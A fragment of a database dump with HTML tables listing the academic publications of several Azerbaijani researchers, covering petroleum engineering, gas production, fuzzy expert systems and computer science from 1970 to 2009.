style=\"background:undefined \">Анализ промысловых данных по коэффициенту&nbsp;&nbsp; использования запасов на месторождениях с проявлением начального градиента давления</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, З.Ю. Алекперова&nbsp;</p></td><td><p style=\"background:undefined \">\"Известия Вузов\" , раздел \"Нефть и газ\", №9</p></td><td><p style=\"background:undefined \">1970</p></td><td><p style=\"background:undefined \">3.0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">О применении дисперсионного анализа при изучении факторов, влияющих на нефтеотдачу</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">А.Х. Мирзаджанзаде, Р.С. Гурбанов Р.С.&nbsp;&nbsp;</p></td><td><p style=\"background:undefined \">Азербайджанское Нефтяное Хозяйство, №2</p></td><td><p style=\"background:undefined \">1971</p></td><td><p style=\"background:undefined \">3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Методическое пособие \"Особенности разработки и эксплуатации месторождений неньютоновских нефтей\"</p></td><td><p style=\"background:undefined \">Metodical</p><p style=\"background:undefined \">Book</p></td><td><p style=\"background:undefined \">А.Х. Мирзаджанзаде, З.А. Ахмедов, Р.С. Гурбанов&nbsp;</p></td><td><p style=\"background:undefined \">Утвержден протоколом специального совещания Министерства нефтедобывающей промышленностит СССР. Москва, ВНИИОЭНГ</p></td><td><p style=\"background:undefined \">1971</p></td><td><p style=\"background:undefined \">&nbsp;</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Применение статистических методов при изучении факторов, влияющих на коэффициент нефтеотдачи</p></td><td><p style=\"background:undefined \">Metodical</p><p style=\"background:undefined \">Book</p></td><td><p style=\"background:undefined \">А.Х. Мирзаджанзаде, Р.С. Гурбанов</p></td><td><p style=\"background:undefined \">&nbsp;Института Геологии и Горючих Ископаемых</p><p style=\"background:undefined \">Москва</p></td><td><p style=\"background:undefined \">1972</p></td><td><p style=\"background:undefined \">&nbsp;70 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Исследование коэффициента нефтеизвлечения месторождений с неньютоновскими нефтями</p></td><td><p style=\"background:undefined \">Symposium</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов</p></td><td><p style=\"background:undefined \">Аннотация докладов III Всесоюзного симпозиума по применению неньютоновских систем в нефтедобыче, город Краснодар</p></td><td><p style=\"background:undefined \">1972</p></td><td><p style=\"background:undefined \">1.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Физико-геологические проблемы повышения нефтегазоотдачи пластов</p></td><td><p style=\"background:undefined \">Metodical</p><p style=\"background:undefined \">Book</p></td><td><p style=\"background:undefined \">А.Х. Мирчинк,</p><p style=\"background:undefined \">А.Х. Мирзаджанзаде, Р.С. Гурбанов</p></td><td><p style=\"background:undefined \">&nbsp;Института Геологии и Горючих Ископаемых</p><p style=\"background:undefined \">Москва</p></td><td><p style=\"background:undefined \">1975</p></td><td><p style=\"background:undefined \">&nbsp;232 стр</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Производственная практика и её роль в повышении качества учебного процесса &nbsp;</p></td><td><p style=\"background:undefined \">Conference</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов</p></td><td><p style=\"background:undefined \">Аннотация докладов VI научно-методической конференции Кабульского Политехнического Института, Афганистан</p></td><td><p style=\"background:undefined \">1978</p></td><td><p style=\"background:undefined \">1.0 стр</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">\"Нефт вя газ йатагларынын ишлянмяси нин технолоэийасы вя комплекс механикляшдирилмяси\" вя \"Нефт вя газ гуйуларынын газылмасы\" ихтисаслары цзря тящсил алан тялябяляр цчцн \"Газын гуйу иля чыхарылмасы\" фянниндян Тядрис-танышлыг Тяърцбясинин Програмы вя Методик эюстянришляр</p><p style=\"background:undefined \">&nbsp;</p></td><td><p style=\"background:undefined \">Metodical</p><p style=\"background:undefined \">work</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, Я. С. Садыхзадя</p></td><td><p style=\"background:undefined \">Азярбайъан Дювлят Нефт Академийасынын няшриййаты Баки</p></td><td><p style=\"background:undefined \">1980</p></td><td><p style=\"background:undefined \">3.0 сящ.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">\"Газ вя газконденсат йатагларынын ишлянмяси вя истисмары\" ихтисаслашмасы цзря тящсил алан тялябяляр цчцн \"Газ вя газконденсат йатагларынын ишлянмяси\" фянниндян&nbsp; Истещсалат&nbsp; Тяърцбясинин Програмы вя Методик эюстянришляр</p></td><td><p style=\"background:undefined \">Metodical</p><p style=\"background:undefined \">work</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, Я. С. Садыхзадя</p></td><td><p style=\"background:undefined \">Азярбайъан Дювлят Нефт Академийасынын няшриййаты Баки</p></td><td><p style=\"background:undefined \">1980</p></td><td><p style=\"background:undefined \">10.0 сящ.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">\"Газ вя газконденсат йатагларынын ишлянмяси вя истисмары\" ихтисаслашмасы цзря тящсил алан тялябяляр цчцн \"Газын гуйу иля чыхарылмасы\" фянниндян&nbsp; Истещсалат&nbsp; Тяърцбясинин Програмы вя Методик эюстянришляр</p><p style=\"background:undefined \">&nbsp;</p></td><td><p style=\"background:undefined \">Metodical</p><p style=\"background:undefined \">work</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, Я. С. Садыхзадя</p></td><td><p style=\"background:undefined \">Азярбайъан Дювлят Нефт Академийасынын няшриййаты Баки</p></td><td><p style=\"background:undefined \">1980</p></td><td><p style=\"background:undefined \">19.0 сящ.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Программа и методические указания учебно-ознакомительной практики по добыче газа для студентов по специальностям \"Технология и комплексная механизация разработки нефтяных и газовых месторождений\" и \"Бурение нефтяных и газовых\" &nbsp;&nbsp;</p></td><td><p style=\"background:undefined \">Metodical</p><p style=\"background:undefined \">work</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов,</p><p style=\"background:undefined \">Э.С. Садых-эаде</p></td><td><p style=\"background:undefined \">Издательство Азербайджанской Государственной Нефтяной Академии,</p><p style=\"background:undefined \">Баку</p></td><td><p style=\"background:undefined \">1981</p></td><td><p style=\"background:undefined \">3.0 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Программа и методические указания Производственной практики по добыче газа для студентов по</p><p style=\"background:undefined \">специализации \"Разработка газовых и газоконденсатных месторождений\"</p><p style=\"background:undefined \">&nbsp;</p></td><td><p style=\"background:undefined \">Metodical</p><p style=\"background:undefined \">work</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов,</p><p style=\"background:undefined \">Э.С. Садых-эаде</p></td><td><p style=\"background:undefined \">Издательство Азербайджанской Государственной Нефтяной Академии,</p><p style=\"background:undefined \">Баку</p></td><td><p style=\"background:undefined \">1981</p></td><td><p style=\"background:undefined \">11 .0</p><p style=\"background:undefined \">стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Программа и методические указания Производственной практики по разработке газовых и газоконденсатных месторождений для студентов&nbsp;</p><p style=\"background:undefined \">специализации \"Разработка газовых и газоконденсатных месторождений\"</p><p style=\"background:undefined \">&nbsp;</p></td><td><p style=\"background:undefined \">Metodical</p><p style=\"background:undefined \">work</p></td><td><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Р.С. Гурбанов,</p><p style=\"background:undefined \">Э.С. Садых-эаде</p></td><td><p style=\"background:undefined \">Издательство Азербайджанской Государственной Нефтяной Академии,</p><p style=\"background:undefined \">Баку</p></td><td><p style=\"background:undefined \">1981</p></td><td><p style=\"background:undefined \">11 .0</p><p style=\"background:undefined \">стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Расплавление парафинистых отложений, образующихся на стенках подъемных труб&nbsp;</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">А.И. Мамедов,&nbsp;</p></td><td><p style=\"background:undefined \">\"Известия Вузов\" , раздел \"Нефть и газ\", №3</p></td><td><p style=\"background:undefined \">1982</p></td><td><p style=\"background:undefined \">1 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Корреляционные зависимости для расчета параметров природного газа</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">А.А. Багиров, Р.С. Гурбанов</p></td><td><p style=\"background:undefined \">\"Известия Вузов\" , раздел \"Нефть и газ\", №9</p></td><td><p style=\"background:undefined \">1983</p></td><td><p style=\"background:undefined \">2 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Определение пластового давления и коэффициентов фильтрационного сопротивления по результатам исследования газовых скважин</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, А.Х. Наваби&nbsp;</p></td><td><p style=\"background:undefined \">Научный журнал Кабульского Политехнического Института, №19</p></td><td><p style=\"background:undefined \">1984</p></td><td><p style=\"background:undefined \">7 .5 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Определение оптимальной глубины спуска подъемных труб в газовых скважинах месторождения Ходжа-Гугердаг</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, А.Х. Наваби&nbsp;</p></td><td><p style=\"background:undefined \">Научный журнал Кабульского Политехнического Института, №21</p></td><td><p style=\"background:undefined \">1985</p></td><td><p style=\"background:undefined \">4 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Выбор типа и оптимальной конструкции поверхностно-активного вещества для удаления жидкости с забоев скважин месторождений Северного Афганистана</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, А.Х. Наваби&nbsp;</p></td><td><p style=\"background:undefined \">Научный журнал Кабульского Политехнического Института, №20</p></td><td><p style=\"background:undefined \">1985</p></td><td><p style=\"background:undefined \">5 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Разработка нефтяных и газовых месторождений (на языке дари)</p></td><td><p style=\"background:undefined \">Textbook</p></td><td><p style=\"background:undefined \">М.Ф. Каримов, Р.С. Гурбанов, А.Р. Мангал</p></td><td><p style=\"background:undefined \">Издание Кабульского Политехнического Института,&nbsp;<strong>г. Кабул</strong></p></td><td><p style=\"background:undefined \">1985</p></td><td><p style=\"background:undefined \">100 стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Прогнозирование накопления жидкости на забое газовых скважин месторождений Северного Афганистана</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов, А.Х. Наваби&nbsp;</p></td><td><p style=\"background:undefined \">Научный журнал Кабульского Политехнического Института, №23</p></td><td><p style=\"background:undefined \">1986</p></td><td><p style=\"background:undefined \">1 .0 &nbsp;стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">\"Газ вя газконденсат йатагларынын ишлянмяси вя истисмары\" кафедрасынын ихтисас фяннляри цзря лабораторийа ишляри Топлусу</p></td><td><p style=\"background:undefined \">Metodical</p><p style=\"background:undefined \">work</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов,</p><p style=\"background:undefined \">Э.С. Садых-эаде</p></td><td><p style=\"background:undefined \">Издательство Азербайджанской Государственной Нефтяной Академии,</p><p style=\"background:undefined \">Баку</p></td><td><p style=\"background:undefined \">1993</p></td><td><p style=\"background:undefined \">86.0 сящ.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Эцняшли нефт йатаьы цзря \"фасиля\" лай дястясинин нефт ещтийатларынын щесабланмасы</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов,</p><p style=\"background:undefined \">Н.В. Нясибов</p></td><td><p style=\"background:undefined \">Азярбайъан Республикасы</p><p style=\"background:undefined \">\"Тящсил\" Ъямиййяти. Техника журналы, №3</p></td><td><p style=\"background:undefined \">2002</p></td><td><p style=\"background:undefined \">6.0</p><p style=\"background:undefined \">стр.</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Decision making on estimation of production efficiency in oil recovery proceg</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов,</p><p style=\"background:undefined \">G.A. Safarov</p></td><td><p style=\"background:undefined \">Journal Knowledge Series Business.</p><p style=\"background:undefined \">\"Education\" Society of</p><p style=\"background:undefined \">Azerbaycan Republic, №2</p></td><td><p style=\"background:undefined \">2003</p></td><td><p style=\"background:undefined \">5.5 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Decision making on improvement of \"cost-revenue\" relation in oil and gas production</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">Р.С. Гурбанов,</p><p style=\"background:undefined \">G.A. Safarov</p></td><td><p style=\"background:undefined \">Journal Knowledge Series Business.</p><p style=\"background:undefined \">\"Education\" Society of</p><p style=\"background:undefined \">Azerbaycan Republic, №1</p></td><td><p style=\"background:undefined \">2004</p></td><td><p style=\"background:undefined \">7.0 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Decreasing the production costs in oil and gas industry</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">R.S. Gurbanov,</p><p style=\"background:undefined \">G.A. Safarov</p></td><td><p style=\"background:undefined \">Journal Knowledge</p><p style=\"background:undefined \">Series Business. \"Education\" Society of</p><p style=\"background:undefined \">Azerbaycan Republic, №3</p></td><td><p style=\"background:undefined \">2004</p></td><td><p style=\"background:undefined \">6.0 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Role of Reengineering in training of specialists for national economy</p></td><td><p style=\"background:undefined \">Symposium</p></td><td><p style=\"background:undefined \">R.S. Gurbanov, R.S. Gurbanov</p></td><td><p style=\"background:undefined \">3<sup>rd</sup>&nbsp;International Symposium on Electrical, Electronic and Computer Engineering.Nicosia, North Cyprus</p></td><td><p style=\"background:undefined \">2006</p></td><td><p style=\"background:undefined \">6.0 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Fuzzy Dupuis equation and its application for determination of fluid influx</p></td><td><p style=\"background:undefined \">Conference</p></td><td><p style=\"background:undefined \">R.S. Gurbanov, R.S. Gurbanov&nbsp;</p></td><td><p style=\"background:undefined \">4th International Conference on soft computing with words&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and perceptions in system analysis, decision and control, Antalya&nbsp;</p></td><td><p style=\"background:undefined \">2007</p></td><td><p style=\"background:undefined \">6.0 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Исследование вопросов вибрации скважинного оборудования при газлифтном способе добычи нефти</p></td><td><p style=\"background:undefined \">Conference</p></td><td><p style=\"background:undefined \">R.S. Gurbanov, Б.А. Аскеов, О.Т. Багиров</p></td><td><p style=\"background:undefined \">Международная конференция \"Современные методы и средства&nbsp;&nbsp;&nbsp; неразрушающего контроля и технической&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; диагностики.\"</p></td><td><p style=\"background:undefined \">2008</p></td><td><p style=\"background:undefined \">2.0 pages</p></td></tr><tr><td><ol><li><strong>&nbsp;</strong></li></ol></td><td><p style=\"background:undefined \">Газ гуйуларынын атгы хятляриндя щидрат ямяляэялмя йеринин тяйини</p></td><td><p style=\"background:undefined \">Journal article</p></td><td><p style=\"background:undefined \">О.Т. Баьыров, Б.Я. Яскяро,</p><p style=\"background:undefined \">Л.И. Манафов, Р.С.Гурбанов</p></td><td><p style=\"background:undefined \">Азярбайъан Елми-тядгигат Елми-техники Информасийа вя Техники-игтисади Тядгигатлар Инытитуту. Информасийа вяряги, №10</p></td><td><p style=\"background:undefined \">2003</p></td><td><p style=\"background:undefined \">4.0 səh</p><div><br></div></td></tr></tbody></table></div><br></div>'),(1529,956,'az','Aygun Alaskerova','Aygun Alaskerova','<div><br></div><div><br></div><div> <div><div style=\"font-family:arial, helvetica, sans-serif;background:undefined \"><br></div><div style=\"background:undefined \"><table cellspacing=\"0\" cellpadding=\"0\" width=\"657\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr></tr><tr><td width=\"159\"><p style=\"background:undefined \"><strong><br>Title of publication&nbsp;</strong></p></td><td width=\"113\"><p style=\"background:undefined \"><strong>Publications type/publication activities</strong></p></td><td width=\"105\"><p style=\"background:undefined \"><strong>All Authors&nbsp;</strong></p></td><td width=\"106\"><p style=\"background:undefined \"><strong>Publisher &amp; Place of&nbsp; Publication&nbsp;</strong></p></td><td width=\"74\"><p style=\"background:undefined \"><strong>Year Published&nbsp;</strong></p></td><td width=\"58\"><p style=\"background:undefined \"><strong>Vol. &amp; Pages&nbsp;</strong></p></td></tr><tr><td width=\"43\"><p style=\"background:undefined \">1</p></td><td width=\"159\"><p style=\"background:undefined \">Fuzzy Expert systems for dynamical process</p></td><td width=\"113\"><p style=\"background:undefined \">Journal articles</p></td><td width=\"105\"><p style=\"background:undefined \">Aygun Alasgarova</p></td><td width=\"106\"><p style=\"background:undefined \">Workshop NIT in XXI</p><p style=\"background:undefined \">Baku, Azerbaijan</p></td><td width=\"74\"><p style=\"background:undefined \">2</p></td><td width=\"58\"><br></td></tr><tr><td width=\"43\"><p style=\"background:undefined \">2</p></td><td width=\"159\"><p style=\"background:undefined \">Fuzzy Expert System of Dynamical Diagnose of technical state of gas-lift equipments</p></td><td width=\"113\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"105\"><p style=\"background:undefined \">Aygun Alasgarova,</p><p style=\"background:undefined \">Salahaddin Yusifov,</p><p style=\"background:undefined \">Rafig Ahmedov</p></td><td width=\"106\"><p style=\"background:undefined \">University of Siegen, Germany</p></td><td width=\"74\"><p style=\"background:undefined \">2000</p></td><td width=\"58\"><br></td></tr><tr><td width=\"43\"><p style=\"background:undefined \">3</p></td><td width=\"159\"><p style=\"background:undefined \">The prediction of financial credit risk with fuzzy system<strong>&nbsp;</strong></p></td><td width=\"113\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"105\"><p style=\"background:undefined \">Aygun Alasgarova</p></td><td width=\"106\"><p style=\"background:undefined \">10<sup>th</sup>&nbsp;International Conference on Finance and banking journal.</p><p style=\"background:undefined \">Silesian University, Karvina, Czech Republic</p></td><td width=\"74\"><p style=\"background:undefined \">2005</p></td><td width=\"58\"><br></td></tr><tr><td width=\"43\"><p style=\"background:undefined \">4</p></td><td width=\"159\"><p style=\"background:undefined \">Expert System For Decision-Making Problem In Economics</p></td><td width=\"113\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"105\"><p style=\"background:undefined \">Aygun Alasgarova,</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">Leyla Muradkhanli</p></td><td width=\"106\"><p style=\"background:undefined \">International Conference «Knowledge-Dialogue-Solutions» 2007 (FOI ITHEA Institute of Information Theories and Applications)</p><p style=\"background:undefined \">Sofia, Bulgaria<strong>&nbsp;</strong></p></td><td width=\"74\"><p style=\"background:undefined \">2007</p></td><td width=\"58\"><br></td></tr><tr><td width=\"43\"><p style=\"background:undefined \">5</p></td><td width=\"159\"><p style=\"background:undefined \">About one approach to approximation of</p><p style=\"background:undefined \">Continuous function by three-layered neural network</p></td><td width=\"113\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"105\"><p style=\"background:undefined \">Aygun Alasgarova, Ramin Rzayev</p></td><td width=\"106\"><p style=\"background:undefined \">12<sup>th</sup>&nbsp;International Conference on Finance and banking journal.</p><p style=\"background:undefined \">Silesian University, Karvina, Czech Republic</p></td><td width=\"74\"><p style=\"background:undefined \">2007</p></td><td width=\"58\"><br></td></tr><tr><td width=\"43\"><p style=\"background:undefined \">6</p></td><td width=\"159\"><p style=\"background:undefined \">Financial Risk Prediction in the conditions of uncertainty</p></td><td width=\"113\"><p style=\"background:undefined \">Ph.D. thesis</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"105\"><p style=\"background:undefined \">Aygun Alasgarova</p></td><td width=\"106\"><p style=\"background:undefined \">Ph.D. thesis</p><p style=\"background:undefined \">Baku,&nbsp; Azerbaijan<strong>&nbsp;</strong></p></td><td width=\"74\"><p style=\"background:undefined \">2008</p><div style=\"background:undefined \"><br></div></td></tr></tbody></table></div></div><br></div>'),(1530,957,'en','Etibar Rzazade','Etibar Rzazade','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td><p>#</p></td><td width=\"167\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"91\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"95\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Publisher &amp; Place of&nbsp;&nbsp;Publication</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Year Published</strong><strong></strong></p></td><td width=\"60\"><p><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"31\"><p>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Introduction to computer science</p></td><td width=\"91\"><p>Book</p></td><td width=\"95\"><p>Rzazade E.M.&nbsp;&nbsp;L.G. Muradkhanova</p></td><td width=\"102\"><p>Baku,Khazar University Press</p></td><td width=\"60\"><p>2001</p></td><td width=\"60\"><p>155</p></td></tr><tr><td width=\"31\"><p>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Компьютерная Глобалистика</p></td><td width=\"91\"><p>Book</p></td><td width=\"95\"><p>R.M.Osmanzade ,Rzazade E.M.&nbsp;</p></td><td width=\"102\"><p>Baku, Azerbaijan</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>227</p></td></tr><tr><td width=\"31\"><p>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Глобализация и энергия</p></td><td width=\"91\"><p>Book</p></td><td width=\"95\"><p>F/Aliyev, R/ Osmanzade,&nbsp;Rzazade E.M.&nbsp;</p></td><td width=\"102\"><p>Baku, Azerbaijan</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>64</p></td></tr><tr><td width=\"31\"><p>4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Лепестки (сборник)</p></td><td width=\"91\"><p>Book(as editor)</p></td><td width=\"95\"><p>I.Q. Aliyev</p></td><td width=\"102\"><p>Perm, Russia</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>111</p></td></tr><tr><td width=\"31\"><p>5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Computer network,&nbsp;gathering and analysis of ecoenergetic parameters of&nbsp;Azerbaijan Republic</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Aliev F.G.</p><p>N.A. Safarov</p><p>Rzazade E.M.&nbsp;</p></td><td width=\"102\"><p>Baku,&nbsp;&nbsp;Azerbaijan,<strong></strong></p></td><td width=\"60\"><p>2005<strong></strong></p></td><td width=\"60\"><p>p. 202-206&nbsp;&nbsp;<strong></strong></p></td></tr><tr><td width=\"31\"><p>6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Monitoring of intensity of electromagnetic radiation</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>E.M.Rzazadeh&nbsp;N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p><strong>Ankara</strong><strong>, Turkey</strong><strong>,</strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"60\"><p><strong>p.687-689</strong></p></td></tr><tr><td width=\"31\"><p>7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Heliostat sahəli günəş fotoelektrik stansiyasının ümumi maya dəyəri haqqında</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>N.A. Safarov</p><p>E.M.Rzazadə</p><p>İ.Q.Əliyev</p></td><td width=\"102\"><p>Baku,&nbsp;Azerbaijan,Fizika&nbsp;I.</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>C.&nbsp;ХIV&nbsp;№3,&nbsp;s..85-87</p></td></tr><tr><td width=\"31\"><p>8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Basic construction for solar power plants.</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>F.G.Aliev, E.M.Rzazadeh, N.A.Safarov, I.Q.Aliev, N.N.Mursakulov</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>p.93-96</p></td></tr><tr><td 